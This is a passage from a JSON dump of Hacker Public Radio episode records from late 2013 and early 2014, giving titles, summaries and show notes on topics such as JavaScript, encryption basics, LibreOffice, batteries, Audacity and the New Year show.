      \n\n","hostid":115,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"programming languages,javascript,web programming","version":0,"downloads":1595,"valid":1}, {"id":1389,"date":"2013-11-28","title":"Javascript Corrections","duration":285,"summary":"In this episode sigflup corrects a few errors made in her previous show about javascript","notes":"In this episode sigflup corrects a few errors made in her previous show about javascript","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"javascript,node.js","version":0,"downloads":1455,"valid":1}, {"id":1390,"date":"2013-11-29","title":"02 - Encryption Basics","duration":1338,"summary":"The fundamentals of encryption and asymmetric public key cryptography","notes":"

      In this episode of our Privacy and Security series we look at the fundamentals of encryption and how it has developed over the centuries. We will also develop a basic idea of the current asymmetric public key cryptography.

      \n

      Some useful sites

      \n \n

      This article appears on my web site at https://www.zwilnik.com/.

      \n

      Remember to support free software!

      ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"encryption,cryptography,\"asymmetric public key cryptography\",RSA","version":0,"downloads":1852,"valid":1}, {"id":1391,"date":"2013-12-02","title":"Google Play Music All Access","duration":1031,"summary":"The new online streaming music service from Google","notes":"

      This program is about the new online streaming music service from Google, called Google Play Music All Access.

      \n

      Like many people I enjoy listening to music, and having my music with me everywhere is important. And I have a large music collection to draw on. Trying to have everything with me at all times is a bit of a problem, though, considering how much music I have. Right now I own a number of portable MP3 players, two of which are full of music that I carry with me. My pockets can get very full that way, though, and while I like listening to tracks I own, what about finding new stuff? My MP3 players have never suggested anything to me. This is where the cloud services come in.

      \n

      You can find the rest of the show notes together with screen shots at https://www.palain.com/?page_id=169

      ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"music streaming\",\"Google Play Music\"","version":0,"downloads":1555,"valid":1}, {"id":1392,"date":"2013-12-03","title":"Beginner's guide to the night sky","duration":1055,"summary":"A personal view of the Universe, as viewed from Earth, by a geeky chap.","notes":"

      \nThis is a personal view of the Universe, as viewed\nfrom the Earth in the early 21st Century, by a somewhat\ngeeky chap. In this episode, I talk a little about my first memories\nof looking at the night sky and how the modern science of astronomy\nhas its roots in ancient mythology, and how the sky provided\na picture book for humanity before we even did our first cave painting.\n

      \n

      Links

      \n\n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"astronomy,\"Moon Illusion\",constellation,mythology,astrology","version":0,"downloads":1701,"valid":1}, {"id":1393,"date":"2013-12-04","title":"Audio Metadata in Ogg, MP3, and others","duration":2709,"summary":"Epicanis discusses metadata tags in mp3, opus, ogg, flac, speex, and other audio formats.","notes":"
      \n\n

      \nMetadata in MP3, Opus/Ogg/FLAC/Speex, and other audio files.\n

      \n

      \nToday's episode discusses (and encourages) the use of metadata tags in audio files.\nMost of the episode is spent on id3v2.3 (metadata for mp3 files) and vorbiscomments (metadata for opus, ogg vorbis, flac, and speex files), and how to mix them, though metadata in webm/matroska, windows media, and wav files is briefly discussed as well.\n

      \n

      \nThis episode's files have also been crafted with substantially more metadata than the ID3v1 set of tags that HPR normally limits itself to, to serve as examples.\n

      \n

      \nListeners to the opus, ogg (vorbis), or speex versions will also have access to chapter markings if your playback software recognizes standard vorbiscomment chapter metadata. (No chapter markings in the mp3, as support for it is extremely sparse, and I've not\nyet even managed to find a tool for making mp3 chapters that actually works - the java utility I mention in the episode crashes on me without starting...)\n

      \n

      \nAll metadata conforms to the published standards, so your playback software should at best fully use it all, or at worst simply ignore it. If your player software actually DOES have a real problem with this file, I would very much like to know!\n

      \n

      \nIf there's anything wrong with the metadata, blame Epicanis, not HPR (I did the metadata myself).\n

      \n

      \nIf you hear or see any errors in this episode, please tell me. I'll issue appropriate corrections in subsequent episodes. If I'm a big enough screwup with this episode, I could even do a small episode on \"everything I got wrong in my metadata episode\" if I did\nbadly enough. I don't THINK there should be more than a few minor errors or omissions here, though.\n

      \n

      \nERRATA: In chapter 18 (at 34:53) there is one small error: oggenc does NOT transfer attached pictures from flac input (though it DOES transfer all vorbiscomment metadata. FLAC stores attached pictures in a separate metadata structure so oggenc misses it.\nopusenc - at least in recent beta versions - DOES appear to transfer the attached pictures as well as the vorbiscomments, though. Another reason to upgrade to opus, I suppose...)\n

      \n\n","hostid":182,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"thoughtkindness, audio, metadata, ogg, mp3, vorbis, opus, flac, speex, matroska, webm, asf, mp4, wav, file formats, HTML5, tagging","version":0,"downloads":1680,"valid":1}, {"id":1394,"date":"2013-12-05","title":"Setting Up Your Own Blog","duration":697,"summary":"Keith Murray talks about the things you need to consider when setting up your own blog.","notes":"

      Keith Murray talks about the things you need to consider when setting up your own blog. Topics discussed include hosting options, software platforms and a brief discussion of some of the underlying technologies involved.

      \n

      Links to many of the topics and projects discussed are included below.

      \n

      Links

      \n

      Project Pages

      \n \n

      Installation Guides

      \n \n

      Wikipedia Links

      \n ","hostid":266,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"blog,Apache,nginx,Wordpress,Joomla,Drupal,Jekyll,\"Second Crack\",Markdown","version":0,"downloads":1610,"valid":1}, {"id":1395,"date":"2013-12-06","title":"17 - LibreOffice Writer Overview of Page Layout Options","duration":752,"summary":"Controlling page layout in LibreOffice Writer","notes":"

      In this episode of our LibreOffice series we begin our look at how you control page layout.

      \n

      Some useful sites

      \n \n

      My web site is at https://www.ahuka.com/.

      \n

      This program has a written page at https://www.ahuka.com/?page_id=478

      \n

      Remember to support free software!

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1549,"valid":1}, {"id":1396,"date":"2013-12-09","title":"First Thoughts of the Google Chromecast","duration":737,"summary":"A description of the Google Chromecast and some experiences with it","notes":"

      \nI discuss my first experience with the Google Chromecast. I go through my process of setting up the device and start streaming Netflix, Music and Podcasts. \n

      \n

      \nhttps://www.google.com/intl/en/chrome/devices/chromecast/\n

      \n","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"google chromecast,netflix","version":0,"downloads":1790,"valid":1}, {"id":1397,"date":"2013-12-10","title":"HPR Community News for November 2013","duration":4734,"summary":"HPR Community News for November 2013","notes":"

      New hosts

      \n

      Welcome to our new hosts: Kevin Wisher, Keith Murray, Underruner, Andrew Conway.

      \n

      Show Updates

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      iddatetitlehost
      13702013-11-01Blogging With OctopressTony Pelaez
      13712013-11-04The Lost Banner of HPRpokey
      13722013-11-05Rootstrikers.org and federal election commission data processingJames Michael DuPont (h4ck3rm1k3)
      13732013-11-0601 - Why Do We Need Privacy, And Isn't It A Waste Of Time Anyway?Ahuka
      13742013-11-07Updating The 2009 LifeHacker QuadCore Hackintosh to MavericksRichard Hughes
      13752013-11-08LibreOffice 15 Writer Nested Lists IntroducedAhuka
      13762013-11-11How Should We Then Teach the Art of Computing?klaatu
      13772013-11-12Zareason ZaTab 2 Android TabletFrank Bell
      13782013-11-13Day one of interviews from OGGcamp 13.Various Hosts
      13792013-11-14Day two of interviews from OGGcamp 13.Various Hosts
      13802013-11-15OGGCamp13 Bonus TrackVarious Hosts
      13812013-11-18How We Found LinuxKevin Wisher
      13822013-11-19Interview with Dave HingleyMike Hingley
      13832013-11-20HPR Community News for October 2013HPR Admins
      13842013-11-21How I Got Into Linux and OSSKeith Murray
      13852013-11-22LibreOffice 16 Writer Nested Lists Controlled via StylesAhuka
      13862013-11-25Hacking Public Policy: The Underground PressBob Tregilus
      13872013-11-26Christmas Light SynchronizationUnderruner
      13882013-11-27JavaScriptsigflup
      13892013-11-28Javascript Correctionssigflup
      13902013-11-2902 - Encryption BasicsAhuka
      \n

      Other News

      \n
        \n
      • Mike Dupont (h4ck3rm1k3) is writing a HPR Publisher tool
      • \n
      • Discussion of the infrastructure for New Year's 24-hour show
      • \n
      • Danny Meeks has offered to print a replacement banner
        There was a Mumble discussion about the design
      • \n
      • Indiegogo campaign for Linux Voice
      • \n
      • Calls for more shows
      • \n
      • Development of a torrent for collecting archived shows
      • \n
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1499,"valid":1}, {"id":1398,"date":"2013-12-11","title":"Batteries Part 1","duration":1222,"summary":"A show about batteries - Part 1","notes":"

      A show about batteries - Part 1

      \n

      I can't take the credit for all this detailed information in my podcast, I found this fantastic website many years ago while investigating why the battery in my expensive razor prematurely failed. I tried to hunt for the site but couldn't find it. I wrote up all my notes from memory and recorded the show. It wasn't until I started working on part 2 of my batteries show that I stumbled across this long forgotten site - at least I think it's the same one as it talks about the memory effect on satellites and doctor's pagers so I guess it must be the same one. I'm indeed delighted to find it still exists, and I may very well read it again from top to bottom. It looks like it's been updated a little too. Well done ka7oei a fantastic resource right enough.

      \n

      Site title: \"About NiMH and NiCd cells and batteries (And a little about LiIons, too...)\" https://www.ka7oei.com/nicds.html

      \n

      A picture of my trusty Philips 5890 Shaver https://urun.gittigidiyor.com/kozmetik-kisisel-bakim/philips-philishave-5890-tras-makinasi-77027302

      \n

      Memory effect https://en.wikipedia.org/wiki/Memory_effect

      \n

      Doctor's pager https://en.wikipedia.org/wiki/Pager

      \n

      Sansa Clip https://en.wikipedia.org/wiki/Sansa_Clip#Sansa_Clip

      \n

      Two Possible Chargers (For use in the UK)

      \n

      I found it very difficult to find a slow trickle charger, here are two possibilities, you may need to settle for a fast charger as the slow ones now seem to be like hen's teeth, (VERY HARD TO GET).

      \n

      This is perhaps a little slow with a charge current of only 150ma, would take about 17Hrs to charge 2100 mAh batteries.

      \n

      https://www.amazon.co.uk/Lloytron-B046-Battery-Charger-batteries/dp/B0035SLPVW/ref=sr_1_12?ie=UTF8&qid=1381055732&sr=8-12&keywords=aa+charger

      \n

      The charger I use is made by the same company as this although mine is a different model. My model charges at 200ma, and takes about 13 Hrs to charge a 2100 mAh battery. I can't tell what charge current this charger deliveries, but suspect it's a simple slow charger, probably old stock, as I said slow chargers are getting like hen's teeth.

      \n

      https://www.ebay.co.uk/itm/Hahnel-Powerstation-TC-Action-Charger-with-2-x-2000mAh-Batteries-/321240775553?pt=UK_ConsumerElectronics_Batteries_SM&hash=item4acb713b81

      ","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"battery,\"alkaline cells\",\"rechargeable battery\",NiMH,NiCd,Lithium-Ion,Li-Ion","version":0,"downloads":1656,"valid":1}, {"id":1399,"date":"2013-12-12","title":"Interview with Ben Everard https://www.linuxvoice.com ","duration":1362,"summary":"In this show CPrompt^ interviews Ben Everard","notes":"

      In this show I interview Ben Everard, former editor of Linux Format who is now promoting a crowd-funded campaign through Indiegogo for a new Linux magazine, Linux Voice. We also talk about Ben's other project which is a book called \"Learning Python with Raspberry Pi\" from Wiley Publishing. Later in the podcast we talk about how Ben arrived to Linux and what he finds to be the most exciting thing he has written about as well as what's going on in the Linux world.

      \n ","hostid":252,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"interview,\"Linux Voice\"","version":0,"downloads":1589,"valid":1}, {"id":1400,"date":"2013-12-13","title":"How We Use Linux","duration":5399,"summary":"Honkeymagoo and Kevin Wisher discuss the many ways they use Linux","notes":"

      \nMythTV \n

      \n\n\n\n

      \nSamba File Server \n

      \n\n\n\n

      \nNFS File Server \n

      \n\n\n\n

      \nOwnCloud \n

      \n\n\n\n

      \nTinyTinyRss \n

      \n\n\n\n

      \nMumble
      \nmurmur - server
      \nmumble - client \n

      \n\n\n\n

      \nIcecast \n

      \n\n\n\n

      \nBUTT (Broadcast Using This Tool) \n

      \n\n\n\n

      \nXbian\n

      \n\n\n\n

      \nElgg\n

      \n\n\n\n

      \nPlex\n

      \n\n\n\n

      \nRasplex\n

      \n\n","hostid":269,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"MythTV,Samba,NFS,OwnCloud,TinyTinyRss,Mumble,Icecast,BUTT,Xbian,Elgg,Plex,Rasplex","version":0,"downloads":1840,"valid":1}, {"id":1401,"date":"2013-12-16","title":"Huawei Mate review","duration":576,"summary":"Knightwise takes a look at the Huawei Mate 6.1 smartphone and voices his opinions.","notes":"

      \nIn this episode of HPR Knightwise reviews the Huawei Mate Smartphone and answers the quesion if a 6.1 inch device is tablet a phone or both. We peek back into the late 80's and ask ourselves : What constitutes a phone and is the Huawei Mate something for you ? \n

      \n

      \nThe original article : https://knightwise.com/reviewing-the-huawei-ascend-mate/\n

      \n\t","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"smartphone,Android,Huawei Mate","version":0,"downloads":1413,"valid":1}, {"id":1402,"date":"2013-12-17","title":"How I Started Using Linux and Free and Open Source Software","duration":648,"summary":"My first contribution to HPR: how I came to use Linux and Free/Open Source software","notes":"

      \nMy first contribution to Hacker Public radio, which details how I came to use Linux and Free/Open Source software.

      ","hostid":270,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"linux,open source","version":0,"downloads":1529,"valid":1}, {"id":1403,"date":"2013-12-18","title":"hiro from GamingGrannar at Retrospelsmässan","duration":841,"summary":"Today on #HPR we talk to @grannen_hiro from @GamingGrannar about retro games at @RSMGBG.","notes":"

      Today on Hacker Public Radio, we will talk about old games, and interview an expert from Sweden.

      \n

      \"GamingGrannar\" and \"Spelklassiker Musik\"

      \n

      In 2012, the Swedish gaming community \"Level 7\" voted for the blog Gaminggrannar to become \"Gaming Blog of the year\". Gaminggrannar (or \"Gaming Neighbours\") consists of David \"Dave\" Boström, Emelie \"Ekken\" Karlsson and Andreas \"hiro\" Karlsson.

      \n

      Dave won the Swedish Championship in Nintendo, in 2003, and has a great Metroid collection. Ekken is an acomplished gamer, creates edible game cakes and also has a newly started collection of games with pink cartridges. hiro can be recognized by his retro game inspired tatoos, and is known for his love for series like Mega Man X and Castlevania.

      \n

      Together the three neighbours release a video blog about everything and anything gaming related, but often with a focus on older games.

      \n

      The podcast that hiro hosts together with Tobias Jensen, a NES and Amiga 500 gamer who wished he had more time for games, hit the 200th episode in november 2013.

      \n

      Retrospelsmässan

      \n

      hiro and I met at Retrospelsmässan 2013. This retro game convention is on its fourth year, and has grown considerably. Now in the second largest exhibition hall in Gothenburg, with roughly 2.000 visitors, and a three hour queue to get in. Competitions in old games, buy retrogames and consoles, cosplay competition, and so on. \"Retrospelsmässan is a yearly event with focus on consoles and computers that was released before the year 2000.\" -- Markus Swerlander, one of the organisers.

      \n

      The date for the 2014 edition of Retrospelsmässan is already set, saturday the 3rd of may in Eriksbergshallen, Gothenburg.

      \n

      \"Game and have fun!\"
      -- hiro

      \n

      Stuff referenced in the episode

      \n \n

      How to reach me

      \n

      You should follow me and subscribe to All In IT Radio:

      \n \n","hostid":192,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"games, retro, gaminggrannar, retrospelsmassan, interview, hiro","version":0,"downloads":1407,"valid":1}, {"id":1404,"date":"2013-12-19","title":"Editing pre-recorded audio in Audacity","duration":1465,"summary":"Ken demonstrates how to edit an audio file with Audacity","notes":"

      \nIn today's show I walk you through the very basics of \"editing\" a audio track that has been recorded outside Audacity. Audacity can be found at https://audacity.sourceforge.net/\n

      \n

      Overview of Audacity

      \n

      \nAudacity is a free, easy-to-use and multilingual audio editor and recorder for Windows, Mac OS X, GNU/Linux and other operating systems..\n

      \n\n\n

      Editing the audio

      \n

      \nThe steps in this video include.\n

      \n
        \n
      • File > Import > Your file
      • \n
      • Tracks > Stereo Track to Mono
      • \n
      • Effect > Amplify (Accept defaults)
      • \n
      • Delete audio: Highlight (click and drag) press Delete
      • \n
      • Undo: Ctrl + Z
      • \n
      • Intro Clip
      • \n
      • Outro Clip
      • \n
      • Move Track: (F6 Multitool) Ctrl - Click and drag
      • \n
      • Export the Track:\n
          \n
        • Confirm that the Project Rate is set to 44100 Hz (bottom left)
        • \n
        • File -> Export and select FLAC File
        • \n
        • Click Options... to reveal FLAC Export Setup
        • \n
        • Set Level to 8 (best)
        • \n
        • Set Bit depth to 24
        • \n
        • Artist Name: Your name
        • \n
        • Track Title: Your show title
        • \n
        • Album Title: Hacker Public Radio
          \n \"Audacity\n
        • \n
      • \n
      \n

      \nWhen you are ready you can contact admin@hackerpublicradio.org to get access to the FTP server. For more technical information see the README file and the Sample Show notes file.\n

      \n\n

      \nhpr1404.webm
      \nhpr1404.mp4\n

      \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audacity,audio,edit","version":0,"downloads":1582,"valid":1}, {"id":1405,"date":"2013-12-20","title":"18 - LibreOffice Writer Page Styles Introduced","duration":1249,"summary":"An introduction to page styles in LibreOffice Writer","notes":"

      In this episode of our LibreOffice series we introduce the concept of Page Styles, and take a look at how their properties can be controlled.

      \n

      Some useful sites

      \n \n

      My web site is at https://www.ahuka.com/.

      \n

      This program has a written page at https://www.ahuka.com/?page_id=488

      \n

      Remember to support free software!

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1489,"valid":1}, {"id":1406,"date":"2013-12-23","title":"ORCA fundraiser","duration":2084,"summary":"Ahuka talks to Jonathan Nadeau about the campaign to improve the Orca Screen Reader","notes":"

      In today's show Ahuka tracks down Jonathan Nadeau, from the Accessible Computing Foundation to discuss the running campaign to improve the Orca Screen Reader.

      \n
        \n
      1. ORCA fundraiser: https://www.indiegogo.com/projects/orca-bringing-digital-sight-to-the-vision-impaired
      2. \n
      3. Accessible Computing Foundation https://theacf.co/
      4. \n
      5. Sonar https://sonargnulinux.com/
      6. \n
      ","hostid":198,"series":79,"explicit":1,"license":"CC-BY-SA","tags":"accessibility,orca","version":0,"downloads":1404,"valid":1}, {"id":1407,"date":"2013-12-24","title":"Mars Needs Women, and Hacker Public Radio Needs Shows","duration":1551,"summary":"The many ways you can record a show for Hacker Public Radio and get involved.","notes":"

      Hacker Public Radio welcomes everyone to record shows and contribute them to the network. In this show we discuss the many ways you can do that. It is very easy to contribute a show and get involved, so we encourage everyone to join in.

      ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hacker Public Radio, shows, recording","version":0,"downloads":1379,"valid":1}, {"id":1408,"date":"2013-12-25","title":"Drupal in Gothenburg with Addison Berry and others","duration":1102,"summary":"Today on #HPR we have a conversation with @add1sun from @lullabot about #Drupal at @DrupalGBG.","notes":"

      In a sunny Gothenburg, the spring of 2012, we find a lot of happy web developers attending DrupalCamp. This is the second show with conversations from that event. This time you will hear Addison Berry from Lullabot, Henrik from All In IT Radio as well as Patrik and Cornelius.

      \n

      If you want to hear what Henrik and I thought about this years DrupalCamp, then you should have a listen to the episode \"Con of the Year\" over on our podcast. There we talk about all the conferences we have attended in 2013, including DrupalCamp, FSCONS and Retrospelsmässan.

      \n

      Participants in todays show

      \n \n

      References

      \n \n

      How to reach me

      \n

      You should follow me and subscribe to All In IT Radio:

      \n ","hostid":192,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Drupal,DrupalCamp, lullabot, add1sun, drupalgbg, interview","version":0,"downloads":1394,"valid":1}, {"id":1409,"date":"2013-12-26","title":"Xircom PE pocket ethernet adapter","duration":479,"summary":"Ken's contribution to TheGizWiz on the Twit.tv network, in the GadgetWarehouse segment","notes":"

      \n\"Catalog\n

      \nThis is a submission for the GadgetWarehouse segment on TheGizWiz on the Twit.tv network. In it I describe how my Raspberry PI has caused me to clear out all my old gadgets. The two that remained is a SmartMedia Floppy disk adapter and the other is a Xircom PE pocket ethernet adapter. I also mention the Third Annual HackerPublicRadio NewYear 26 hour show.\n

      \n\n

      Links

      \n\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"twit.tv,TheGizWiz,Raspberry Pi,ethernet","version":0,"downloads":1486,"valid":1}, {"id":1410,"date":"2013-12-27","title":"Generating Keys on the Command Line","duration":1855,"summary":"How to generate keys on the command line in Linux using GPG","notes":"

      This is the third in our Security and Privacy series, and explains how you can generate keys on the command line in Linux using GPG.

      \n \n

      This article appears on my web site at https://www.zwilnik.com/?page_id=456.

      \n

      Remember to support free software!

      \n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"security,GPG,key,kgpg,seahorse","version":0,"downloads":1904,"valid":1}, {"id":1411,"date":"2013-12-30","title":"ohmroep live 1, 31-06-2013, pirate parties","duration":3590,"summary":"A live report from OHM2013 in the Netherlands. Speaking to Pirate Party members","notes":"

      \nNido Media reporting Live from OHM2013 in the Netherlands. He is joined\nby a group of Pirate Party members including Fabricio Martins do Canto,\nDirk Poot, Jonas Degrave, Thomas Gordon. They discuss how their pirate\nparty chapters were started, how to start your own. What it means to be\na pirate party, the goals of pirate parties. Later we are joined by\nChristopher Clay who tells us about the situation over there.\n

      ","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OHMRoep, HPR Live","version":0,"downloads":1549,"valid":1}, {"id":1412,"date":"2013-12-31","title":"ohmroep hpr live 2, 31-06-2013, advancing local communities","duration":3312,"summary":"A live report from OHM2013 in the Netherlands","notes":"

      \nNido Media reporting Hacker Public Radio Live. Starring Cecile Langhorst\nas co-host who saves the show, and two guests. Civardi from Rhizomatica,\nwho is active in installing GSM networks in rural areas in Mexico tells\nus of his experiences with GSM technologies and Mexican villagers.\nBicycle Mark relates about his work training people from war or post-war\ncountries to become reporters.\n

      ","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OHMRoep, HPR Live","version":0,"downloads":1501,"valid":1}, {"id":1413,"date":"2014-01-01","title":"ohmroep hpr live 3, 01-08-2013, (Power)DNS","duration":3490,"summary":"A live report from OHM2013 in the Netherlands. PowerDNS and DNSSec; collapsing tent","notes":"

      Today Nido Media is joined by Ken Fallon as cohost. Bert Hubert from PowerDNS joins us and talks with us about what DNS actually is. What it does, how it is used, how it is implemented. What information DNS holds and what it works. He also explains what PowerDNS and we go into DNSSec a bit. Our conversation is pre-empted right at the very end because the tent was about to collapse. No comments are made about the vicinity of Bind developers.

      ","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OHMRoep, HPR Live","version":0,"downloads":1653,"valid":1}, {"id":1414,"date":"2014-01-02","title":"ohmroep hpr live 4, 31-06-2013, operating lights at Observe Hack Make","duration":3546,"summary":"A live report from OHM2013 in the Netherlands: Lighting","notes":"

      Doing the Lights on OHM2013. (shownotes donated by HobbyBob)

      \n

      During the interview i mention the LOC controller. The LOC controller was designed by Bob from Bitlair Hackerspace in Amersfoort, The Netherlands.

      \n

      Here you can find all the info on the controller:

      \n \n

      My username is hobbybob there, so if you have any questions just ask me in a pm. It is good habit that you introduce yourself on the forum, this will get you more credits when you start asking questions. Just introduce yourself, what you want to built and what you already have done/tried in the past.

      \n

      Ohh and BTW i sound a bit dull because i was very tired. As the Light team, we worked from 9AM to 3AM every day during OHM to make the experience a colorful one for everyone!

      \n

      We hope you enjoy(ed) our effort and start building cool stuff yourself !

      \n

      If you want to make your own LOC controllers, LED effects or Lasers i am very interested to know. You can mail me: hobbybob at bitlair dot nl

      ","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OHMRoep, HPR Live","version":0,"downloads":1432,"valid":1}, {"id":1415,"date":"2014-01-03","title":"19 - LibreOffice Writer Working with Page Styles","duration":1109,"summary":"Using page styles in LibreOffice Writer","notes":"

      In this episode of our LibreOffice series we take the concept of Page Styles, and show how to use them to create an elegant document.

      \n

      Some useful sites

      \n \n

      My web site is at https://www.ahuka.com/.

      \n

      This program has a written page at https://www.ahuka.com/?page_id=608

      \n

      Remember to support free software!

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1586,"valid":1}, {"id":1416,"date":"2014-01-06","title":"2013-2014 HPR New Year Show Part 1 2013-12-31T10:00:00Z to 2013-12-31T16:00:00Z","duration":21595,"summary":"New Year Show 2014, part 1","notes":"

      2013-12-31T10:00:00Z

      \n
        \n
      • Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia, followed by a short reminder of the ORCA fundraiser.
      • \n
      \nGeneral links / references mentioned on the show for the show notes:\n\n

      2013-12-31T10:15:00Z

      \n\n

      2013-12-31T11:00:00Z

      \n
        \n
      • Greetings to New Zealand with exceptions and 5 more  Auckland, Suva, Wellington, Nukualofa, followed by a short reminder of the ORCA fundraiser.
      • \n
      • ken_fallon and SndChaser talk about ways 5150 could run external Ethernet to improve his connection.
      • \n
      • marcusbaird, pokey, sndchaser, ken_fallon talked about current linux distros we are using
      • \n
      • pokey brought up the Chromebook ad - the Pawn Stars advert
      • \n
      • marcusbaird and pokey discuss hunting in New Zealand
      • \n
      \n

      2013-12-31T12:00:00Z

      \n
        \n
      • Greetings to small region of Russia, Marshall Islands and 5 more Anadyr, Funafuti, Yaren, Tarawa, followed by a short reminder of the ORCA fundraiser.  
      • \n
      • Ken talks about the RasberryPi https://www.themagpi.com/
      • \n
      • Pokey talks of how battery kept his kit charged when camping https://lmgtfy.com/?q=bp12-12+battery
      • \n
      \n

      2013-12-31T12:30:00Z

      \n\n

      2013-12-31T13:00:00Z

      \n
        \n
      • Greetings to much of Australia and 5 more  Melbourne, Sydney, Canberra, Honiara, followed by a short reminder of the ORCA fundraiser.
      • \n
      • Per pokey: Ken Fallon has a nerdgasm taking about html5
      • \n
      • Pokey, Jonkulp: Talk about DD-WRT and Wireless Routers https://www.dd-wrt.com/site/index
      • \n
      \n

      2013-12-31T13:30:00Z

      \n\n

      2013-12-31T14:00:00Z

      \n
        \n
      • Greetings to Queensland/Australia and 5 more Brisbane, Port Moresby, Guam (Hag??t??a), Cairns, followed by a short reminder of the ORCA fundraiser.
      • \n
      • Want to Join Google+ ? Ken_Fallon goes on a rant about Google. Pokey suggests that Google has changed their definition of \"evil\".
      • \n
      • Jonathon Nadeau joined us.
      • \n
      • SndChaser brought up YaCy as a way to get out of Google: https://www.yacy.net/en/
      • \n
      • DuckDuckGo discussed and wether it personalizes searches
      • \n
      • SndChaser wants an encrypted network file system. William suggested https://freenetproject.org/
      • \n
      \n

      2013-12-31T14:30:00Z

      \n\n

      2013-12-31T15:00:00Z

      \n\n

      2013-12-31T15:15:00Z

      \n
        \n
      • Greetings to Western Australia/Australia Eucla, followed by a short reminder of the ORCA fundraiser.
      • \n
      • SndChaser asked FlyingRich about FAA lifting the ban on devices on planes
      • \n
      • Pokey asked about the concerns regarding interference on devices at altitude
      • \n
      • William asked if standard ECC is good enough for this application
      • \n
      • Somehow transitioned throught lighting to plants.
      • \n
      • Popey joins us!
      • \n
      • Hash LUGRadio gets a shout out
      • \n
      • SoundChaser adds a bullet point <- HAHAHAHAHAHAH
      • \n
      • Talk with popey about the codec repositories
      • \n
      • Commercials are just terrible - not for the tech market that we are in
      • \n
      ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014","version":0,"downloads":1554,"valid":1}, {"id":1417,"date":"2014-01-07","title":"2013-2014 HPR New Year Show Part 2 2013-12-31T16:00:00Z to 2013-12-31T21:00:00Z","duration":19158,"summary":"New Year Show 2014, part 2","notes":"

      2013-12-31T16:00:00Z

      \n
        \n
      • Greetings to China and 12 more Beijing, Hong Kong, Manila, Singapore, followed by a short reminder of the ORCA fundraiser.
      • \n
      • Dave from The Bugcast podcast joins us.
      • \n
      • Conversation about being able to identify different generations of devices. Comparison to cars.
      • \n
      • Talks about batteries and the MrX HPR Episode regarding batteries (top 10 HPR ep.)
      • \n
      • The eCig / Recharger SndChaser mentioned: https://www.innokin.com/itaste-mvp.html
      • \n
      • Ken discovers the un-mute button
      • \n
      • Windows & Windows keys suck. Don't use it.
      • \n
      • Mac vs Windows (We knew it had to come up eventually)
      • \n
      • William says SndChaser sounds like RMS
      • \n
      • Free Software licenses & compatible / non-compatible licenses: https://www.gnu.org/licenses/license-list.html
      • \n
      • How to understand the Creative Commons license
      • \n
      • Usage Rights are available in Google Advanced Search Options: https://encrypted.google.com/advanced_search?hl=en&fg=1
      • \n
      • pokey Godwins the license enforcement conversation
      • \n
      \n

      2013-12-31T17:00:00Z

      \n
        \n
      • Greetings to much of Indonesia, Thailand and 7 more Jakarta, Bangkok, Hanoi, Phnom Penh, followed by a short reminder of the ORCA fundraiser.
      • \n
      • pokey spends 24 hours updating a Windoze computer. Popey updates a Linux netbook while we say \"Happy New Year\" to Hanoi
      • \n
      • Running a LiveCD of Linux on a Chromebook
      • \n
      • Write disable-able USB stick:
      • \n
      • https://www.amazon.com/Kanguru-Solutions-ALK-8G-8GB-Flashblu/dp/B00190IX40/ref=sr_1_2?ie=UTF8&qid=1388509892&sr=8-2&keywords=kanguru+flashblu
      • \n
      • Talk about having an image that cannot be re-written for remote re-imaging of systems.
      • \n
      • Q: Why do we have redundant recordings? A: For redundancy. (So if anyone that drops we have multiple copies to reconstruct from)
      • \n
      • Ubuntu on tablets and phones
      • \n
      • XBeamMC: https://xbeammc.com
      • \n
      • Talking about how to coordinate conversation on the chat
      • \n
      • We all agree people with British (is that the right word) accents need to talk slowly to Americans
      • \n
      • thFilemanagers - 2 & More paned
      • \n
      \n

      2013-12-31T17:30:00Z

      \n
        \n
      • Greetings to Myanmar and Cocos Islands Yangon, Naypyidaw, Mandalay, Bantam, followed by a short reminder of the ORCA fundraiser.
      • \n
      • OwnCloud 6
      • \n
      • Running ORCA on RaspberryPI?
      • \n
      • Blather project by Jezra Lichter for speech input
      • \n
      • Speakup: control over output
      • \n
